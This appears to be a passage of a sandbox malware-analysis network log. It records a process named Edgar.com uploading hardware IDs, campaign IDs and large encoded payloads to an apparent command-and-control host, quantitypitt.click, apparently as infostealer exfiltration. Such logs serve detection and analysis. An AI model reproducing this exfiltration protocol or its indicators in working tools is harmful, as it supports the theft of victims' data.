2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 33 32 39 62 0d 0a 77 47 31 66 2f 71 53 4e 34 67 51 64 61 32 6f 67 46 2f 44 57 56 73 53 48 32 2f 78 74 33 64 30 5a 75 74 58 6b 53 79 4c 4e 4c 47 4d 55 4f 34 59 75 4d 31 2f 33 78 4e 31 75 36 6a 42 48 49 6b 62 45 31 45 4e 66 66 62 52 47 51 67 36 75 41 48 42 62 4a 73 46 39 49 45 58 75 42 61 67 6b 48 48 48 4f 48 57 72 71 4c 6c 52 32 78 46 56 43 6c 74 4c 73 75 45 70 49 53 75 76 53 65 68 37 33 79 37 34 68 56 4c 57 55 2f 53 59 63 64 46 42 4d 36 4f 77 31 6c 48 62 44 51 51 53 51 79 37 6a 74 48 4a 31 61 75 35 57 32 54 4c 41 61 2b 6e 56 53 4b 6f 57 6f 49 31 78 78 30 46 79 34 50 71 55 47 5a 67 66 46 68 55 6c 51 4c 4c 35 4b 69 6b 32 76 7a 72 34 55 74 51 71 2f 4a 74 53 79 55 37 74 6a 7a 4b 61 42 67 76 64 35 6f 45 4c 6e 41 63 54 55 6c 73 77 38 65 42 6e 66 67 54 2b 54 49 Data Ascii: 329bwG1f/qSN4gQda2ogF/DWVsSH2/xt3d0ZutXkSyLNLGMUO4YuM1/3xN1u6jBHIkbE1ENffbRGQg6uAHBbJsF9IEXuBagkHHHOHWrqLlR2xFVCltLsuEpISuvSeh73y74hVLWU/SYcdFBM6Ow1lHbDQQSQy7jtHJ1au5W2TLAa+nVSKoWoI1xx0Fy4PqUGZgfFhUlQLL5Kik2vzr4UtQq/JtSyU7tjzKaBgvd5oELnAcTUlsw8eBnfgT+TI
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 72 38 64 4c 72 51 75 33 7a 32 4f 41 54 79 79 6a 2f 73 5a 48 79 55 64 56 51 46 73 6d 38 61 67 6b 4e 43 2b 34 42 39 42 2f 6e 68 58 42 73 68 37 2f 57 66 61 50 50 4a 4d 67 4e 76 4c 69 75 43 47 4f 43 68 74 63 48 47 69 67 72 32 6c 6d 4d 76 35 63 2f 7a 79 52 61 38 44 62 55 4f 41 59 75 4e 38 45 6e 41 38 37 35 50 36 58 55 72 77 48 45 6c 4d 4e 62 72 7a 6a 42 69 55 73 74 45 53 49 50 4e 39 72 70 38 64 65 75 46 7a 78 33 32 6e 50 55 32 36 32 75 39 46 50 79 52 5a 62 53 31 74 6f 38 62 64 31 61 48 32 73 52 4a 34 38 6e 69 6a 74 68 78 62 37 54 75 50 59 44 36 45 6b 49 75 44 34 67 42 79 6c 4e 7a 35 65 48 58 6d 72 36 43 45 41 48 66 35 4b 68 6e 4f 5a 63 38 62 56 57 4c 68 6e 72 74 38 70 33 31 6c 31 31 75 75 49 45 5a 77 66 42 42 38 2b 61 62 4c 2f 49 53 56 39 38 45 54 41 50 49 46 Data Ascii: r8dLrQu3z2OATyyj/sZHyUdVQFsm8agkNC+4B9B/nhXBsh7/WfaPPJMgNvLiuCGOChtcHGigr2lmMv5c/zyRa8DbUOAYuN8EnA875P6XUrwHElMNbrzjBiUstESIPN9rp8deuFzx32nPU262u9FPyRZbS1to8bd1aH2sRJ48nijthxb7TuPYD6EkIuD4gBylNz5eHXmr6CEAHf5KhnOZc8bVWLhnrt8p31l11uuIEZwfBB8+abL/ISV98ETAPIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49731	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YAP7EM2IJ6TCLZZMRVE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: quantitypitt.click
2025-01-05 16:55:23 UTC	12840	OUT	Data Raw: 2d 2d 59 41 50 37 45 4d 32 49 4a 36 54 43 4c 5a 5a 4d 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 59 41 50 37 45 4d 32 49 4a 36 54 43 4c 5a 5a 4d 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 41 50 37 45 4d 32 49 4a 36 54 43 4c 5a 5a 4d 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 Data Ascii: --YAP7EM2IJ6TCLZZMRVEContent-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--YAP7EM2IJ6TCLZZMRVEContent-Disposition: form-data; name="pid"2--YAP7EM2IJ6TCLZZMRVEContent-Disposition: form-data; name="lid"hRjzG3--TR
2025-01-05 16:55:23 UTC	1136	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=afj44c6hnpr95s1bcm407j8mc0; expires=Thu, 01 May 2025 10:42:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sw4gbVC71%2FjONc9GyyC55n6a6dS7%2B%2Bs6EZrCGqwE3K4E1xxGmW8WP973u19zNaUutuhzRjCI05ZhISH%2FDU31SfsEL8jizLA0tAp9gxP%2FtnFGjL8GAfHhCqdAv%2BETycAENB5LDOo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4fee16de17293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1733&rtt_var=660&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13783&delivery_rate=1645070&cwnd=158&unsent_bytes=0&cid=3c3dfdff61f6cb3e&ts=563&x=0"
2025-01-05 16:55:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 16:55:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49742	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:24 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6T0IC80DWVS4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15040 Host: quantitypitt.click
2025-01-05 16:55:24 UTC	15040	OUT	Data Raw: 2d 2d 36 54 30 49 43 38 30 44 57 56 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 36 54 30 49 43 38 30 44 57 56 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 54 30 49 43 38 30 44 57 56 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 0d 0a 2d 2d 36 54 30 49 43 38 30 44 57 56 53 34 0d 0a 43 Data Ascii: --6T0IC80DWVS4Content-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--6T0IC80DWVS4Content-Disposition: form-data; name="pid"2--6T0IC80DWVS4Content-Disposition: form-data; name="lid"hRjzG3--TRON--6T0IC80DWVS4C
2025-01-05 16:55:26 UTC	1137	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2in4qvdp2mjf22q9hnmqlacjqh; expires=Thu, 01 May 2025 10:42:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iztt196eyB%2FMvP5Qq7ic%2B4tWgWLSGrAxdw%2BwfjN6Df0%2FJlEiVixCueRCVDn3yDn60KLEx5gt7FHhfoWZfcWO3JxRZCnqEYcTPq4HZnKID%2Fob%2FUnYizZqgVWkGUwi2fWyzrXdSv8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4fee81e528cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2030&min_rtt=2028&rtt_var=764&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=15976&delivery_rate=1428571&cwnd=237&unsent_bytes=0&cid=16086228534f6e02&ts=2566&x=0"
2025-01-05 16:55:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 16:55:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49763	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:27 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z613XA0RFMALGU2W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20554 Host: quantitypitt.click
2025-01-05 16:55:27 UTC	15331	OUT	Data Raw: 2d 2d 5a 36 31 33 58 41 30 52 46 4d 41 4c 47 55 32 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 5a 36 31 33 58 41 30 52 46 4d 41 4c 47 55 32 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 36 31 33 58 41 30 52 46 4d 41 4c 47 55 32 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 0d 0a 2d 2d 5a 36 31 Data Ascii: --Z613XA0RFMALGU2WContent-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--Z613XA0RFMALGU2WContent-Disposition: form-data; name="pid"3--Z613XA0RFMALGU2WContent-Disposition: form-data; name="lid"hRjzG3--TRON--Z61
2025-01-05 16:55:27 UTC	5223	OUT	Data Raw: c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 Data Ascii: MZh'F3Wun 4F([:7s~X`nO`i
2025-01-05 16:55:30 UTC	1142	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=na9a0k43j0hh4hmkrruhv0ouoc; expires=Thu, 01 May 2025 10:42:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OGqs3Tf2YPfXxBTDjFoptYNg5ADAE02tnv1H0vffcARpNaGY%2B1Y279VlKDnPT%2BR6S62ndK3kq9M%2Bqz%2FidCs8ArJRR%2FxBkHJ%2BoytMa%2F56U6FeiXb5E79FGiqyaYSuqf%2FOHmKMlGU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4fefc28a37d1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1978&rtt_var=770&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21516&delivery_rate=1394460&cwnd=179&unsent_bytes=0&cid=2a53225b3ee6846b&ts=3082&x=0"
2025-01-05 16:55:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 16:55:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49788	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:31 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JHJ7120D2JT8AZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5453 Host: quantitypitt.click
2025-01-05 16:55:31 UTC	5453	OUT	Data Raw: 2d 2d 4a 48 4a 37 31 32 30 44 32 4a 54 38 41 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 4a 48 4a 37 31 32 30 44 32 4a 54 38 41 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 48 4a 37 31 32 30 44 32 4a 54 38 41 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 0d 0a 2d 2d 4a 48 4a 37 31 32 30 44 32 Data Ascii: --JHJ7120D2JT8AZContent-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--JHJ7120D2JT8AZContent-Disposition: form-data; name="pid"1--JHJ7120D2JT8AZContent-Disposition: form-data; name="lid"hRjzG3--TRON--JHJ7120D2
2025-01-05 16:55:32 UTC	1124	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dk2vua5f0jvj8rpbthbjdjdmev; expires=Thu, 01 May 2025 10:42:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wEUrE0CmC5GklDPxBzzwygsFpejKP4HsDDVeqssnhYtlGwL0tdtHToW9JU1131Adpkaa68Ja6KtII3zpKuyV3WcVCMZTtVcVsK6vFvM0LJzhBIotOFfdHMbO0rwj5Ihx6ZcfVhI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4ff13fda0ef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1941&min_rtt=1941&rtt_var=729&sent=6&recv=11&lost=0&retrans=0&sent_bytes=2846&recv_bytes=6368&delivery_rate=1499743&cwnd=219&unsent_bytes=0&cid=02dfe2af64bf97fb&ts=1300&x=0"
2025-01-05 16:55:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 16:55:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49799	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:32 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CZA25BDK8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1191 Host: quantitypitt.click
2025-01-05 16:55:32 UTC	1191	OUT	Data Raw: 2d 2d 43 5a 41 32 35 42 44 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 43 5a 41 32 35 42 44 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 5a 41 32 35 42 44 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 0d 0a 2d 2d 43 5a 41 32 35 42 44 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --CZA25BDK8Content-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--CZA25BDK8Content-Disposition: form-data; name="pid"1--CZA25BDK8Content-Disposition: form-data; name="lid"hRjzG3--TRON--CZA25BDK8Content-Dispo
2025-01-05 16:55:33 UTC	1126	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=91ifm5i8ntncq8jeigufohi5fd; expires=Thu, 01 May 2025 10:42:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KnJPQqZa%2Bf1KJ45Y5sWpSDkZ1D9cYvjbI6eP39hd3Ek4BDuYxlKaquX6TgH%2BTfQZcl9Bo2bBbLoWRusJxQDONWK3tngOt1fubbABqNcnHXuEJbTnXXLgIQmCYK59Z4iFRh96Ux4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4ff1f3cc0c475-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1626&rtt_var=611&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2101&delivery_rate=1789215&cwnd=181&unsent_bytes=0&cid=079c10814be27961&ts=621&x=0"
2025-01-05 16:55:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 16:55:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49810	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:34 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PL1F1EW41V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568866 Host: quantitypitt.click
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 2d 2d 50 4c 31 46 31 45 57 34 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 50 4c 31 46 31 45 57 34 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 4c 31 46 31 45 57 34 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 0d 0a 2d 2d 50 4c 31 46 31 45 57 34 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --PL1F1EW41VContent-Disposition: form-data; name="hwid"2330FF65E12BF67B92A467F615F074C7--PL1F1EW41VContent-Disposition: form-data; name="pid"1--PL1F1EW41VContent-Disposition: form-data; name="lid"hRjzG3--TRON--PL1F1EW41VContent-D
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 24 f4 67 e7 c8 f4 21 70 02 2c 11 36 05 c4 ea 91 ec 8e db 72 92 30 1f ef cf ce 97 43 ad 2a ae 1f 35 fe 93 2b d1 68 5a e0 86 6d a0 d7 3b 69 90 34 9f dc 48 94 a1 26 49 fd ae 15 64 d1 20 cc b3 b5 dc 68 e8 6d 9f fa 98 80 cb b9 55 c8 3b ad 01 5e 1a 11 d6 e5 08 dd d3 7d 4c 71 5a 30 4b 75 c3 4c 69 f7 c2 93 b8 ce 92 1c 2c ac b7 64 91 5b b4 33 e1 e5 76 3a 6f 72 86 52 25 3b 5d a2 b8 7a 8f 15 9e 35 c7 0a 54 09 d9 35 53 be 1d a6 c2 c6 fc 40 6d c2 b1 d3 6a 1c 9a 3a c1 bc 85 5b 14 03 df 8a f0 2c f6 1d 21 ff 83 b1 6b b7 f4 11 1d d6 10 1e 92 a8 9e b8 d5 18 d0 8e db 7c 47 9c 7b 1f a7 89 8f 46 6d 15 0a 26 9c 62 62 c8 ce 1f 9e 25 5a 1c d7 bd b2 04 39 b6 5b d4 a4 06 d7 2c db f2 a3 38 19 a3 a4 bc d8 f9 3b 23 0a cd 77 59 66 13 8d 9b ba 16 ef d7 d4 33 aa 43 fd 92 20 73 3c 59 3e Data Ascii: $g!p,6r0C*5+hZm;i4H&Id hmU;^}LqZ0KuLi,d[3v:orR%;]z5T5S@mj:[,!k\|G{Fm&bb%Z9[,8;#wYf3C s<Y>
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 81 c6 be 56 3a 39 b1 5f 17 58 c8 07 97 0d b5 82 1d 98 17 ce 96 cd 14 22 55 23 92 7b 6b 5a dd 89 93 cf 3a d2 6c 2c b5 70 7e 5c f1 b8 21 81 b0 fb 4e 35 39 96 b4 94 dc 1f e9 7d ff 07 23 4a 96 3f 21 12 32 50 43 29 e5 29 b7 3b fe d7 6d 72 34 cc 33 df 2f 34 dc c7 0e 4a 47 19 05 aa 07 9b 35 04 15 11 30 6c b1 ae c7 5f 56 94 13 22 6b 8c 10 5e e5 44 b8 55 6f 95 fe 3c 9a f3 a4 54 18 da 24 f0 76 b9 da 25 f2 11 86 15 6c 18 a1 01 51 eb 6f 9a ef 88 06 16 ab ae 36 07 d0 d1 bb 86 ca 54 e4 8a b6 e2 77 2a 86 c2 5e 63 8a 03 c1 d6 6f 03 a7 15 ac d6 5f 31 2c 7e 6d c4 da ec 46 ed 50 3d bb bd 91 e7 3f ea ec 9a 9b 18 5f 1a 79 67 fd 71 f9 fa 58 e2 c0 c9 43 03 3f 03 d7 df 32 3c d9 5f 9e fd 96 50 b7 1d 3c 00 2a 16 56 ed 4b 54 ae db 8c b6 a6 06 3e d4 ff f5 df 59 d4 da e6 a0 b4 64 d9 Data Ascii: V:9_X"U#{kZ:l,p~\!N59}#J?!2PC));mr43/4JG50l_V"k^DUo<T$v%lQo6Tw^co_1,~mFP=?_ygqXC?2<_P<VKT>Yd
